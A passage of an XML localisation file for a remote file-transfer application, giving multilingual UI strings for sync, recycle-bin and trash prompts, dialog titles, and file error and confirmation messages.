<ko>로컬 및 원격 컴퓨터에서 현재 폴더를 업데이트하면 폴더 내용이 동일해집니다. 어느 한 컴퓨터에만 존재하는 파일 및 폴더는 정상적으로 복사됩니다. 양쪽 폴더가 로컬 및 원격 컴퓨터에서 서로 다른 파일을 하나 이상 포함할 경우, 새로운 버전은 다르게 복사됩니다.\\n두 폴더의 동기화를 유지해야 할 때 유용합니다.</ko>
<en-gb>Updates the current folders on the local and remote computer so that their contents are the same. Files and folders that exist only on one side are copied normally. If both folders contain one or more files that are different on the local and remote computers, the newer version will be differentially copied.\\nUseful if you need to keep two folders in sync.</en-gb>
<hu>Az aktuális mappákat frissíti a helyi és a távoli számítógépen, így ezek tartalma ugyanaz lesz. Azok a fájlok és mappák, amelyek csak egyik oldalon vannak meg, normál módon másolódnak át. Amennyiben mindkét mappa egy vagy több olyan fájlt tartalmaz, amelyek különböznek a forrás- és célszámítógépen, az újabb verzió másolódik át, differenciált módon.\\nHasznos, ha a két mappát szinkronizáltan szeretné tartani.</hu>
<pt-br>Atualiza as pastas atuais no computador local e no remoto, de forma que seu conteúdo seja o mesmo. Arquivos e pastas que existem somente em um lado são copiados normalmente. Se ambas as pastas contiverem um ou mais arquivos diferentes nos computadores local e remoto, a versão mais recente será copiada de forma diferente.\\nÚtil se você precisar manter duas pastas em sincronização.</pt-br>
<nl>Hiermee worden de huidige mappen op de lokale en externe computer bijgewerkt zodat hun inhoud identiek is. Bestanden en mappen die alleen op één van de computers aanwezig zijn, worden gewoon gekopieerd. Als de beide mappen één of meer bestanden bevatten die op de lokale en externe computers van elkaar verschillen, wordt de nieuwste versie gekopieerd.\\nDeze optie is handig als u de twee mappen gesynchroniseerd wilt houden.</nl>
</msg>
<msg name="RECYCLE">
<en>Delete selected files and folders and send them to the Recycle Bin if it is active for the current drive.</en>
<de>Löschen Sie ausgewählten Dateien und Ordner und senden Sie diese an den Papierkorb, wenn dieser auf dem aktuellen Laufwerk aktiviert ist.</de>
<es>Elimine las carpetas y archivos seleccionados, y envíelos a la Papelera de reciclaje si está activa en la unidad actual.</es>
<fr>Supprimez les fichiers et les dossiers sélectionnés et envoyez-les vers la corbeille si elle est active pour le lecteur actuel.</fr>
<it>Eliminare i file e le cartelle selezionati inviandoli al Cestino se quest'ultimo è inattivo per l'unità corrente.</it>
<ru>Удалить выбранные файлы и папки и отправить их в корзину, если она активна для текущего диска.</ru>
<ja>選択したファイルとフォルダを削除して、ごみ箱 (ドライブにある場合) へ移動します。</ja>
<zh>删除所选文件和文件夹,并在¡°回收站¡±可用于当前驱动器时将其发送到¡°回收站¡±。</zh>
<ko>선택한 파일 및 폴더를 삭제하고 현재 드라이브에서 작동 중인 경우 휴지통에 버립니다.</ko>
<hu>Törölje a kijelölt fájlokat és mappákat, és helyezze azokat a Lomtárba, amennyiben ez aktív az aktuális meghajtón.</hu>
<pt-br>Excluir arquivos e pastas selecionados e enviá-los à Lixeira se estiverem inativos para a unidade atual.</pt-br>
<nl>Indien actief voor het huidige station, worden geselecteerde bestanden en mappen verwijderd en naar de Prullenbak verstuurd.</nl>
</msg>
<msg name="TRASH">
<en>Delete selected files and folders and send them to the Trash if it is active for the current drive.</en>
<de>Sie können ausgewählte Dateien und Ordner löschen und an den Papierkorb senden, wenn dieser auf dem aktuellen Laufwerk aktiviert ist.</de>
<es>Elimine las carpetas y archivos seleccionados y envíelos a la Papelera si está activa en la unidad actual.</es>
<fr>Supprimez les fichiers et les dossiers sélectionnés et envoyez-les vers la corbeille si elle est active pour le lecteur actuel.</fr>
<it>Eliminare i file e le cartelle selezionati inviandoli al Cestino se quest'ultimo è attivo per l'unità corrente.</it>
<ru>Удалить выбранные файлы и папки и отправить их в Корзину, если она активна для текущего диска.</ru>
<ja>選択したファイルとフォルダを削除して、ゴミ箱 (ドライブにある場合) へ移動します。</ja>
<zh>删除所选文件和文件夹;如果已对当前驱动器启用“回收站”,则会将所选文件和文件夹发送到“回收站”。</zh>
<ko>선택한 파일 및 폴더를 삭제하고 현재 드라이브에서 작동 중인 경우 휴지통에 버립니다.</ko>
<en-gb>Delete selected files and folders and send them to the Trash if it is active for the current drive.</en-gb>
<hu>Törölje a kijelölt fájlokat és mappákat, és helyezze azokat a Kukába, amennyiben ez aktív az aktuális meghajtón.</hu>
<pt-br>Excluir arquivos e pastas selecionados e enviá-los à Lixeira se estiverem ativos para a unidade atual.</pt-br>
<nl>Indien actief voor het huidige station, worden geselecteerde bestanden en mappen verwijderd en naar de Prullenbak gestuurd.</nl>
</msg>
</cat>
<!-- dialog titles (parameters: machine names) -->
<msg name="LOCAL.MSG.TITLE">
<en>Local - $1</en>
<de>Lokal - $1</de>
<es>Local - $1</es>
<fr>Local - $1</fr>
<it>Locale - $1</it>
<ru>Локальный - $1</ru>
<ja>ローカル - $1</ja>
<zh>本地 - $1</zh>
<ko>로컬 - $1</ko>
<en-gb>Local - $1</en-gb>
<hu>Helyi - $1</hu>
<pt-br>Local - $1</pt-br>
<nl>Lokaal - $1</nl>
</msg>
<msg name="REMOTE.MSG.TITLE">
<en>Remote - $1</en>
<de>Remote - $1</de>
<es>Remoto - $1</es>
<fr>Distant - $1</fr>
<it>Remoto - $1</it>
<ru>Удаленный - $1</ru>
<ja>リモート - $1</ja>
<zh>远程 - $1</zh>
<ko>원격 - $1</ko>
<en-gb>Remote - $1</en-gb>
<hu>Távoli - $1</hu>
<pt-br>Remoto - $1</pt-br>
<nl>Extern - $1</nl>
</msg>
<msg name="UNKLOCAL.MSG.TITLE">
<en>Local</en>
<de>Lokal</de>
<es>Local</es>
<fr>Local</fr>
<it>Locale</it>
<ru>Локальный</ru>
<ja>ローカル</ja>
<zh>本地</zh>
<ko>로컬</ko>
<en-gb>Local</en-gb>
<hu>Helyi</hu>
<pt-br>Local</pt-br>
<nl>Lokaal</nl>
</msg>
<msg name="UNKREMOTE.MSG.TITLE">
<en>Remote</en>
<de>Remote</de>
<es>Remoto</es>
<fr>Distant</fr>
<it>Remoto</it>
<ru>Удаленный</ru>
<ja>リモート</ja>
<zh>远程</zh>
<ko>원격</ko>
<en-gb>Remote</en-gb>
<hu>Távoli</hu>
<pt-br>Remoto</pt-br>
<nl>Extern</nl>
</msg>
<msg name="THISCOMPUTER.MSG.TITLE">
<en>This Computer - $1</en>
<de>Dieser Computer - $1</de>
<es>Este ordenador: $1</es>
<fr>Cet ordinateur - $1</fr>
<it>Questo computer - $1</it>
<ru>Этот компьютер — $1</ru>
<ja>このコンピュータ - $1</ja>
<zh>此计算机 - $1</zh>
<ko>이 컴퓨터 - $1</ko>
<en-gb>This Computer - $1</en-gb>
<hu>Ez a számítógép – $1</hu>
<pt-br>Este computador - $1</pt-br>
<nl>Deze computer - $1</nl>
</msg>
<msg name="UNKTHISCOMPUTER.MSG.TITLE">
<en>This Computer</en>
<de>Dieser Computer</de>
<es>Este ordenador</es>
<fr>Cet ordinateur</fr>
<it>Questo computer</it>
<ru>Этот компьютер</ru>
<ja>このコンピュータ</ja>
<zh>此计算机</zh>
<ko>이 컴퓨터</ko>
<en-gb>This Computer</en-gb>
<hu>Ez a számítógép</hu>
<pt-br>Este computador</pt-br>
<nl>Deze computer</nl>
</msg>
<msg name="TRANSFER.MSG.TITLE">
<en>$1 &gt;&gt;&gt; $2</en>
<de>$1 &gt;&gt;&gt; $2</de>
<es>$1 &gt;&gt;&gt; $2</es>
<fr>$1 &gt;&gt;&gt; $2</fr>
<it>$1 &gt;&gt;&gt; $2</it>
<ru>$1 &gt;&gt;&gt; $2</ru>
<ja>$1 &gt;&gt;&gt; $2</ja>
<zh>$1 &gt;&gt;&gt; $2</zh>
<ko>$1 &gt;&gt;&gt; $2</ko>
<en-gb>$1 &gt;&gt;&gt; $2</en-gb>
<hu>$1 &gt;&gt;&gt; $2</hu>
<pt-br>$1 &gt;&gt;&gt; $2</pt-br>
<nl>$1 &gt;&gt;&gt; $2</nl>
</msg>
<msg name="SYNC.MSG.TITLE">
<en>$1 &gt;&gt;&gt;&gt; $2 </en>
<de>$1 &gt;&gt;sync&gt;&gt; $2</de>
<es>$1 &gt;&gt;&gt;&gt; $2</es>
<fr>$1 &gt;&gt;&gt;&gt; $2</fr>
<it>$1 &gt;&gt;&gt;&gt; $2</it>
<ru>$1 &gt;&gt;&gt;&gt; $2</ru>
<ja>$1 &gt;&gt;&gt;&gt; $2</ja>
<zh>$1 &gt;&gt;&gt;&gt; $2</zh>
<ko>$1 &gt;&gt;&gt;&gt; $2</ko>
<en-gb>$1 &gt;&gt;&gt;&gt; $2</en-gb>
<hu>$1 &gt;&gt;&gt;&gt; $2</hu>
<pt-br>$1 &gt;&gt;&gt;&gt; $2</pt-br>
<nl>$1 &gt;&gt;&gt;&gt; $2</nl>
</msg>
<msg name="MERGE.MSG.TITLE">
<en>$1 &lt;&lt;&gt;&gt; $2 </en>
<de>$1 &lt;&lt;&gt;&gt; $2</de>
<es>$1 &lt;&lt;&gt;&gt; $2</es>
<fr>$1 &lt;&lt;&gt;&gt; $2</fr>
<it>$1 &lt;&lt;&gt;&gt; $2</it>
<ru>$1 &lt;&lt;&gt;&gt; $2</ru>
<ja>$1 &lt;&lt;&gt;&gt; $2</ja>
<zh>$1 &lt;&lt;&gt;&gt; $2</zh>
<ko>$1 &lt;&lt;&gt;&gt; $2</ko>
<en-gb>$1 &lt;&lt;&gt;&gt; $2</en-gb>
<hu>$1 &lt;&lt;&gt;&gt; $2</hu>
<pt-br>$1 &lt;&lt;&gt;&gt; $2</pt-br>
<nl>$1 &lt;&lt;&gt;&gt; $2</nl>
</msg>
<!-- questions -->
<cat name="Q">
<msg name="CANTSYNC">
<en>Cannot sync file "$1"\\n\\n$2</en>
<de>Synchronisation der Datei "$1" nicht möglich\\n\\n$2</de>
<es>No se puede sincronizar el archivo "$1"\\n\\n$2</es>
<fr>Impossible de synchroniser le fichier "$1"\\n\\n$2</fr>
<it>Impossibile sincronizzare il file "$1"\\n\\n$2</it>
<ru>Невозможно синхронизировать файл "$1"\\n\\n$2</ru>
<ja>ファイル "$1" を同期できません\\n\\n$2</ja>
<zh>无法同步文件 "$1"\\n\\n$2</zh>
<ko>"$1"\\n\\n$2 파일을 동기화할 수 없습니다</ko>
<hu>A "$1"\\n\\n$2 fájl szinkronizálása nem lehetséges</hu>
<pt-br>Não é possível sincronizar os arquivos "$1"\\n\\n$2</pt-br>
<nl>Kan bestand "$1"\\n\\n$2 niet synchroniseren</nl>
</msg>
<msg name="CANTOPEN">
<en>Cannot open "$1".\\n\\n$e</en>
<de>"$1" kann nicht geöffnet werden.\\n\\n$e</de>
<es>No se puede abrir "$1".\\n\\n$e</es>
<fr>Impossible d'ouvrir "$1".\\n\\n$e</fr>
<it>Impossibile aprire "$1".\\n\\n$e</it>
<ru>Не удается открыть "$1".\\n\\n$e</ru>
<ja>"$1" を開くことができません。\\n\\n$e</ja>
<zh>无法打开“$1”。\\n\\n$e</zh>
<ko>"$1"을(를) 열 수 없습니다.\\n\\n$e</ko>
<en-gb>Cannot open "$1".\\n\\n$e</en-gb>
<hu>Nem sikerül megnyitni az "$1"-et.\\n\\n$e</hu>
<pt-br>Não é possível abrir "$1".\\n\\n$e</pt-br>
<nl>Kan "$1" niet openen.\\n\\n$e</nl>
</msg>
<msg name="ERRWRITEHOST">
<en>Cannot write file "$1".\\n\\n$e</en>
<es>No se puede escribir el archivo "$1".\\n\\n$e</es>
<de>Schreiben der Datei „$1“ nicht möglich. \\n\\n$e</de>
<fr>Impossible d'écrire le fichier « $1 ».\\n\\n$e</fr>
<it>Impossibile scrivere il file "$1".\\n\\n$e</it>
<ru>Невозможно записать файл «$1».\\n\\n$e</ru>
<ja>ファイル "$1" に書き込めません。\\n\\n$e</ja>
<zh>无法写入文件 "$1"。\\n\\n$e</zh>
<ko>"$1" 파일을 쓸 수 없습니다.\\n\\n$e</ko>
<en-gb>Cannot write file "$1".\\n\\n$e</en-gb>
<hu>A "$1".\\n\\n$e fájl írása nem lehetséges</hu>
<pt-br>Não é possível gravar o arquivo "$1".\\n\\n$e</pt-br>
<nl>Kan bestand "$1" niet schrijven.\\n\\n$e</nl>
</msg>
<msg name="CANTLIST">
<en>Cannot list directory "$1".\\n\\n$e</en>
<de>Das Verzeichnis "$1" kann nicht aufgelistet werden.\\n\\n$e</de>
<es>No se puede listar directorio "$1".\\n\\n$e</es>
<fr>impossible d'afficher le dossier "$1".\\n\\n$e</fr>
<it>Impossibile elencare il contenuto della directory "$1".\\n\\n$e</it>
<ru>Не удается сделать список каталога "$1".\\n\\n$e</ru>
<ja>"$1" ディレクトリをリスト化できません。\\n\\n$e</ja>
<zh>无法列出目录“$1”。\\n\\n$e</zh>
<ko>"$1" 디렉터리를 표시할 수 없습니다.\\n\\n$e</ko>
<en-gb>Cannot list directory "$1".\\n\\n$e</en-gb>
<hu>Nem sikerült a(z) "$1" listázása.\\n\\n$e</hu>
<pt-br>Não é possível listar o diretório "$1".\\n\\n$e</pt-br>
<nl>Kan map "$1" niet opvragen.\\n\\n$e</nl>
</msg>
<msg name="CANTREAD">
<en>Cannot read "$1".\\n\\n$e</en>
<de>"$1" kann nicht gelesen werden.\\n\\n$e</de>
<es>No se puede leer "$1".\\n\\n$e</es>
<fr>Impossible de lire "$1".\\n\\n$e</fr>
<it>Impossibile leggere "$1".\\n\\n$e</it>
<ru>Не удается прочитать "$1".\\n\\n$e</ru>
<ja>"$1" を読み取ることができません。\\n\\n$e</ja>
<zh>无法读取“$1”。\\n\\n$e</zh>
<ko>"$1"을(를) 읽을 수 없습니다.\\n\\n$e</ko>
<en-gb>Cannot read "$1".\\n\\n$e</en-gb>
<hu>Nem sikerül olvasni az "$1"-et.\\n\\n$e</hu>
<pt-br>Não é possível ler "$1".\\n\\n$e</pt-br>
<nl>Kan "$1" niet lezen.\\n\\n$e</nl>
</msg>
<msg name="CANTWRITE">
<en>Cannot write "$1".\\n\\n$e</en>
<de>"$1" kann nicht geschrieben werden.\\n\\n$e</de>
<es>No se puede escribir "$1".\\n\\n$e</es>
<fr>Impossible d'écrire "$1".\\n\\n$e</fr>
<it>Impossibile scrivere in "$1".\\n\\n$e</it>
<ru>Не удается записать "$1".\\n\\n$e</ru>
<ja>"$1" を書き込むことができません。\\n\\n$e</ja>
<zh>无法写入“$1”。\\n\\n$e</zh>
<ko>"$1"을(를) 쓸 수 없습니다.\\n\\n$e</ko>
<en-gb>Cannot write "$1".\\n\\n$e</en-gb>
<hu>Nem sikerül írni az "$1"-et.\\n\\n$e</hu>
<pt-br>Não é possível escrever "$1".\\n\\n$e</pt-br>
<nl>Kan "$1" niet schrijven.\\n\\n$e</nl>
</msg>
<msg name="CANTDEL">
<en>Cannot delete "$1".\\n\\n$e</en>
<de>"$1" kann nicht gelöscht werden.\\n\\n$e</de>
<es>No se puede eliminar "$1".\\n\\n$e</es>
<fr>Impossible d'effacer "$1".\\n\\n$e</fr>
<it>Impossibile eliminare "$1".\\n\\n$e</it>
<ru>Не удается удалить "$1".\\n\\n$e</ru>
<ja>"$1" を削除できません。\\n\\n$e</ja>
<zh>无法删除“$1”。\\n\\n$e</zh>
<ko>"$1"을(를) 삭제할 수 없습니다.\\n\\n$e</ko>
<en-gb>Cannot delete "$1".\\n\\n$e</en-gb>
<hu>Nem sikerül törölni az "$1"-et.\\n\\n$e</hu>
<pt-br>Não é possível excluir "$1".\\n\\n$e</pt-br>
<nl>Kan "$1" niet verwijderen.\\n\\n$e</nl>
</msg>
<msg name="CANTRMDIR">
<en>Cannot remove directory "$1".\\n\\n$e</en>
<de>Das Verzeichnis "$1" kann nicht entfernt werden.\\n\\n$e</de>
<es>No se puede quitar directorio "$1".\\n\\n$e</es>
<fr>Impossible d supprimer le dossier Cannot remove directory "$1".\\n\\n$e</fr>
<it>Impossibile rimuovere la directory "$1".\\n\\n$e</it>
<ru>Не удается удалить каталог "$1".\\n\\n$e</ru>
<ja>"$1" ディレクトリを削除できません。\\n\\n$e</ja>
<zh>无法删除目录“$1”。\\n\\n$e</zh>
<ko>"$1" 디렉터리를 제거할 수 없습니다.\\n\\n$e</ko>
<en-gb>Cannot remove directory "$1".\\n\\n$e</en-gb>
<hu>Nem sikerült a(z) "$1" eltávolítása.\\n\\n$e</hu>
<pt-br>Não é possível remover o diretório "$1".\\n\\n$e</pt-br>
<nl>Kan map "$1" niet verwijderen.\\n\\n$e</nl>
</msg>
<msg name="COPY">
<en>Copy the selected files and folders ($1 entries: $2) ?</en>
<de>Sollen die markierten Dateien und Ordner ($1 Einträge: $2) kopiert werden?</de>
<es>Copiar los archivos y carpetas seleccionados ($1 entradas: $2) ?</es>
<fr>Copie les fichiers et les dossiers sélectionnés ($1 entries: $2) ?</fr>
<it>Copiare i file e le cartelle selezionati ($1 voci: $2)?</it>
<ru>Скопировать выбранные файлы и папки ($1 записей: $2)?</ru>
<ja>選択されているファイルおよびフォルダをコピーする ($1 エントリ : $2) ?</ja>
<zh>是否复制所选的文件和文件夹($1 条目:$2)?</zh>
<ko>선택한 파일 및 폴더 복사($1개 항목: $2) ?</ko>
<en-gb>Copy the selected files and folders ($1 entries: $2) ?</en-gb>
<hu>Másolja a kijelölt fájlokat és mappákat ($1 bejegyzések: $2) ?</hu>
<pt-br>Copiar os arquivos e pastas selecionados ($1 entradas: $2) ?</pt-br>
<nl>De geselecteerde bestanden en mappen kopiëren ($1 items: $2) ?</nl>
</msg>
<msg name="MOVE">
<en>Move the selected files and folders ($1 entries: $2) ?</en>
<de>Sollen die markierten Dateien und Ordner ($1 Einträge: $2) verschoben werden?</de>
<es>Mover los archivos y carpetas seleccionados ($1 entradas: $2) ?</es>
<fr>Déplace les fichiers et les dossiers sélectionnés ($1 entries: $2) ?</fr>
<it>Spostare i file e le cartelle selezionati ($1 voci: $2)?</it>
<ru>Переместить выбранные файлы и папки ($1 записей: $2)?</ru>
<ja>選択されているファイルおよびフォルダを移動する ($1 エントリ : $2) ?</ja>
<zh>是否移动所选的文件和文件夹($1 条目:$2)?</zh>
<ko>선택한 파일 및 폴더 이동($1개 항목: $2) ?</ko>
<en-gb>Move the selected files and folders ($1 entries: $2) ?</en-gb>
<hu>Áthelyezi a kijelölt fájlokat és mappákat ($1 bejegyzések: $2) ?</hu>
<pt-br>Mover os arquivos e pastas selecionados ($1 entradas: $2) ?</pt-br>
<nl>De geselecteerde bestanden en mappen verplaatsen ($1 items: $2) ?</nl>
</msg>
<msg name="RESUME">
<en>"$1" already exists.\\n\\nOld - size: $2; modified: $3\\nNew - size: $4; modified: $5</en>
<de>"$1" existiert bereits.\\n\\nAlt - Größe: $2; zuletzt bearbeitet: $3\\nNeu - Größe: $4; zuletzt bearbeitet: $5</de>
<es>"$1" ya existe.\\n\\nTamaño - antiguo: $2; modificado: $3\\nTamaño - modificado: $4; modificado: $5</es>
<fr>"$1" exite déjà.\\n\\nActuel - taille$2; modifié: $3\\nNouveau - taille$4; modifié: $5</fr>
<it>"$1" già esistente.\\n\\nPrecedente - dimensione: $2; modificato: $3\\nNuovo - dimensione $4; modificato: $5</it>
<ru>"$1" уже существует.\\n\\nСтарый - размер: $2; изменен: $3\\nНовый - размер: $4; изменен: $5</ru>
<ja>"$1" は既に存在します。\\n\\n旧 - サイズ :$2; 変更済み :$3\\n新 – サイズ :$4; 変更済み : $5</ja>
<zh>“$1”已存在。\\n\\n旧 - 大小:$2;已修改:$3\\n新 - 大小: $4;已修改:$5</zh>
<ko>"$1"이(가) 이미 있습니다.\\n\\n구식 - 크기: $2; 수정됨: $3\\n신규 - 크기: $4; 수정됨: $5</ko>
<en-gb>"$1" already exists.\\n\\nOld - size: $2; modified: $3\\nNew - size: $4; modified: $5</en-gb>
<hu>"$1" már létezik.\\n\\nRégi - méret: $2; módosított: $3\\nÚj - méret: $4; módosított: $5</hu>
<pt-br>"$1" já existe.\\n\\nAntigo - tamanho: $2; modificado: $3\\nNovo - tamanho: $4; modificado: $5</pt-br>
<nl>"$1" bestaat reeds.\\n\\nOude versie - grootte: $2; gewijzigd op: $3\\nNieuwe versie - grootte: $4; gewijzigd op: $5</nl>
</msg>
<msg name="RMDIR">
<en>"$1" is a directory.\\n\\nDo you want to delete it?</en>
<de>"$1" ist ein Verzeichnis.\\n\\nWollen Sie es wirklich löschen?</de>
<es>"$1" es un directorio.\\n\\n¿Desea eliminarlo?</es>
<fr>"$1" est un dossier.\\n\\nVoulez-vous l'effacer?</fr>
<it>"$1" è una directory.\\n\\nEliminare?</it>
<ru>"$1" является каталогом.\\n\\nУдалить?</ru>
<ja>"$1" はディレクトリです。\\n\\n削除しますか?</ja>
<zh>“$1”是目录。\\n\\n是否要将其删除?</zh>
<ko>"$1"은(는) 디렉터리입니다.\\n\\n삭제하시겠습니까?</ko>
<en-gb>"$1" is a directory.\\n\\nDo you want to delete it?</en-gb>
<hu>A(z) "$1" egy könyvtár.\\n\\nTörölni akarja?</hu>
<pt-br>"$1" é um diretório.\\n\\nDeseja excluí-lo?</pt-br>
<nl>"$1" is een map.\\n\\nWilt u deze verwijderen?</nl>
</msg>
<msg name="DELFILE">
<en>"$1"\\n\\nDo you want to delete it?</en>
<de>"$1"\\n\\nWollen Sie sie wirklich löschen?</de>
<es>"$1"\\n\\n¿Desea eliminarlo?</es>
<fr>"$1"\\n\\nVoulez-vous l'effacer?</fr>
<it>"$1"\\n\\nEliminare?</it>
<ru>"$1"\\n\\nУдалить?</ru>
<ja>"$1"\\n\\n削除しますか?</ja>
<zh>"$1"\\n\\n是否要将其删除?</zh>
<ko>"$1"\\n\\n삭제하시겠습니까?</ko>
<en-gb>"$1"\\n\\nDo you want to delete it?</en-gb>
<hu>"$1"\\n\\nTörölni akarja?</hu>
<pt-br>"$1"\\n\\nDeseja excluí-lo?</pt-br>
<nl>"$1"\\n\\nWilt u dit item verwijderen?</nl>
</msg>
<msg name="RECYCLE">
<en>"$1"\\n\\nAre you sure you want to delete it? The item will be sent to the Recycle Bin if it is active for the current drive.</en>
<de>"$1"\\n\\nSind Sie sicher, dass Sie das Element löschen möchten? Das Element wird an den Papierkorb gesendet, wenn dieser auf dem aktuellen Laufwerk aktiviert ist.</de>
<es>"$1"\\n\\n¿Está seguro de que desea eliminarlo? El elemento se enviará a la Papelera de reciclaje si está activa en la unidad actual.</es>
<fr>"$1"\\n\\nEtes-vous sûr de vouloir le supprimer ? Cet élément sera envoyé vers la corbeille si elle est active pour le lecteur actuel.</fr>
<it>"$1"\\n\\nEliminarlo? L'elemento verrà inviato al Cestino se quest'ultimo è inattivo per l'unità corrente.</it>
<ru>"$1"\\n\\nДействительно удалить? Данный элемент будет отправлен в корзину, если она активна для текущего диска.</ru>
<ja>"$1"\\n\\n削除しますか?削除した項目は、ドライブにごみ箱がある場合はそこへ移動されます。</ja>
<zh>"$1"\\n\\n是否确实要删除它?系统会在"回收站"可用于当前驱动器时将此项目发送到"回收站"。</zh>
<ko>"$1"\\n\\n항목을 삭제하시겠습니까? 현재 드라이브에서 작동 중인 경우 휴지통에 버리십시오.</ko>
<hu>"$1"\\n\\nBiztosan törli? A tétel a Lomtárba kerül, amennyiben ez aktív az aktuális meghajtón.</hu>
<pt-br>"$1"\\n\\nTem certeza de que deseja excluí-lo? O item será enviado para a Lixeira se estiver ativo para a unidade atual.</pt-br>
<nl>"$1"\\n\\nWeet u zeker dat u deze wilt verwijderen? Indien actief voor het huidige station, wordt het item naar de Prullenbak verstuurd.</nl>
</msg>
<msg name="TRASH">
<en>"$1"\\n\\nAre you sure you want to delete it? The item will be sent to the Trash if it is active for the current drive.</en>
<de>$1\\n\\nMöchten Sie das Element sicher löschen? Das Element wird in den Papierkorb verschoben, wenn dieser auf dem aktuellen Laufwerk aktiviert ist.</de>
<es>$1\\n\\n¿Está seguro de que desea eliminarlo? El elemento se enviará a la Papelera si está activa en la unidad actual.</es>
<fr>« $1 »\\n\\nÊtes-vous sûr de vouloir le supprimer ? Cet élément sera envoyé vers la corbeille si elle est active pour le lecteur actuel.</fr>
<it>$1\\n\\nEliminare? L'elemento verrà inviato al Cestino, se quest'ultimo è attivo per l'unità corrente.</it>
<ru>«$1»\\n\\nДействительно удалить этот объект? Данный объект будет отправлен в Корзину, если она активна для текущего диска.</ru>
<ja>$1\\n\\n削除しますか? 削除した項目は、ドライブにゴミ箱がある場合はそこへ移動されます。</ja>
<zh>$1\\n\\n是否确定要将其删除?如果已对当前驱动器启用“回收站”,则此项会被发送到“回收站”。</zh>
<ko>"$1"\\n\\n항목을 삭제하시겠습니까? 현재 드라이브에서 작동 중인 경우 휴지통에 버리십시오.</ko>
<en-gb>"$1"\\n\\nAre you sure you want to delete it? The item will be sent to the Trash if it is active for the current drive.</en-gb>
<hu>$1\\n\\nBiztosan törli? A tétel a Kukába kerül, amennyiben ez aktív az aktuális meghajtón.</hu>
<pt-br>$1\\n\\nTem certeza de que deseja excluí-lo? O item será enviado para a Lixeira se estiver ativo para a unidade atual.</pt-br>
<nl>"$1"\\n\\nWeet u zeker dat u deze wilt verwijderen? Indien actief voor het huidige station, wordt het item naar de Prullenbak gestuurd.</nl>
</msg>
<msg name="RECYCLEDIR">
<en>"$1" is a directory.\\n\\nAre you sure you want to delete it? The item will be sent to the Recycle Bin if it is active for the current drive.</en>
<de>"$1" ist ein Verzeichnis.\\n\\nSind Sie sicher, dass Sie das Element löschen möchten? Das Element wird an den Papierkorb gesendet, wenn dieser auf dem aktuellen Laufwerk aktiviert ist.</de>
<es>"$1" es un directorio.\\n\\n¿Está seguro de que desea eliminarlo? El elemento se enviará a la Papelera de reciclaje si está activa en la unidad actual.</es>
<fr>"$1" est un répertoire.\\n\\n Etes-vous sûr de vouloir le supprimer ? Cet élément sera envoyé vers la corbeille si elle est active pour le lecteur actuel.</fr>
<it>"$1" è una directory.\\n\\nEliminarlo? L'elemento verrà inviato al Cestino se quest'ultimo è inattivo per l'unità corrente.</it>
<ru>"$1" является каталогом.\\n\\nДействительно удалить его? Данный элемент будет отправлен в корзину, если она активна для текущего диска.</ru>
<ja>"$1" はディレクトリです。\\n\\n削除しますか?削除した項目は、ドライブにごみ箱がある場合はそこへ移動されます。</ja>
<zh>"$1" 是目录。\\n\\n是否确实要删除它?系统会在"回收站"可用于当前驱动器时将此项目发送到"回收站"。</zh>
<ko>"$1"은(는) 디렉터리입니다.\\n\\n항목을 삭제하시겠습니까? 현재 드라이브에서 작동 중인 경우 휴지통에 버리십시오.</ko>
<hu>"A $1" egy könyvtár.\\n\\nBiztosan törli? A tétel a Lomtárba kerül, amennyiben ez aktív az aktuális meghajtón.</hu>
<pt-br>"$1" é um diretório.\\n\\nTem certeza de que deseja excluí-lo? O item será enviado para a Lixeira se estiver ativo para a unidade atual.</pt-br>
<nl>"$1" is een map.\\n\\nWeet u zeker dat u deze wilt verwijderen? Indien actief voor het huidige station, wordt het item naar de Prullenbak verstuurd.</nl>
</msg>
<msg name="TRASHDIR">
<en>"$1" is a directory.\\n\\nAre you sure you want to delete it? The item will be sent to the Trash if it is active for the current drive.</en>
<de>$1 ist ein Verzeichnis.\\n\\nMöchten Sie es sicher löschen? Das Element wird in den Papierkorb verschoben, wenn dieser auf dem aktuellen Laufwerk aktiviert ist.</de>
<es>$1 es un directorio.\\n\\n¿Está seguro de que desea eliminarlo? El elemento se enviará a la Papelera si está activa en la unidad actual.</es>
<fr>« $1 » est un répertoire.\\n\\nÊtes-vous sûr de vouloir le supprimer ? Cet élément sera envoyé vers la corbeille si elle est active pour le lecteur actuel.</fr>
<it>$1 è una directory.\\n\\nEliminare? L'elemento verrà inviato al Cestino, se quest'ultimo è attivo per l'unità corrente.</it>
<ru>«$1» является папкой.\\n\\nДействительно удалить этот объект? Данный объект будет отправлен в Корзину, если она активна для текущего диска.</ru>
<ja>$1 はディレクトリです。\\n\\n削除しますか? 削除した項目は、ドライブにゴミ箱がある場合はそこへ移動されます。</ja>
<zh>$1 是目录。\\n\\n是否确定要将其删除?如果已对当前驱动器启用“回收站”,则此项会被发送到“回收站”。</zh>
<ko>"$1"은(는) 디렉터리입니다.\\n\\n항목을 삭제하시겠습니까? 현재 드라이브에서 작동 중인 경우 휴지통에 버리십시오.</ko>
<en-gb>"$1" is a directory.\\n\\nAre you sure you want to delete it? The item will be sent to the Trash if it is active for the current drive.</en-gb>
<hu>$1 egy könyvtár.\\n\\nBiztosan törli? A tétel a Kukába kerül, amennyiben ez aktív az aktuális meghajtón.</hu>
<pt-br>$1 é um diretório.\\n\\nTem certeza de que deseja excluí-lo? O item será enviado para a Lixeira se estiver ativo para a unidade atual.</pt-br>
<nl>"$1" is een doelmap.\\n\\nWeet u zeker dat u deze wilt verwijderen? Indien actief voor het huidige station, wordt het item naar de Prullenbak gestuurd.</nl>
</msg>
<msg name="DELREADONLY">
<en>"$1" is read-only.\\n\\nDo you want to delete it anyway?</en>
<de>"$1" ist schreibgeschützt.\\n\\nWollen Sie dennoch löschen?</de>
<es>"$1" es de sólo lectura.\\n\\n¿Desea eliminarlo de todos modos?</es>
<fr>"$1" est en lecture seule.\\n\\nVoulez-vous quand même le supprimer?</fr>
<it>"$1" è di sola lettura.\\n\\nEliminare comunque?</it>
<ru>"$1" предназначен только для чтения.\\n\\nУдалить?</ru>
<ja>"$1" は読み取り専用です。\\n\\n本当に削除しますか?</ja>
<zh>“$1”是只读的。\\n\\n是否仍要将其删除?</zh>
<ko>"$1"은(는) 읽기 전용입니다.\\n\\n삭제하시겠습니까?</ko>
<en-gb>"$1" is read-only.\\n\\nDo you want to delete it anyway?</en-gb>
<hu>A(z) "$1" csak olvasható.\\n\\nMindenképpen törölni akarja?</hu>
<pt-br>"$1" é somente leitura.\\n\\nDeseja excluí-lo de qualquer forma?</pt-br>
<nl>"$1" is alleen-lezen.\\n\\nWilt u dit item toch verwijderen?</nl>
</msg>
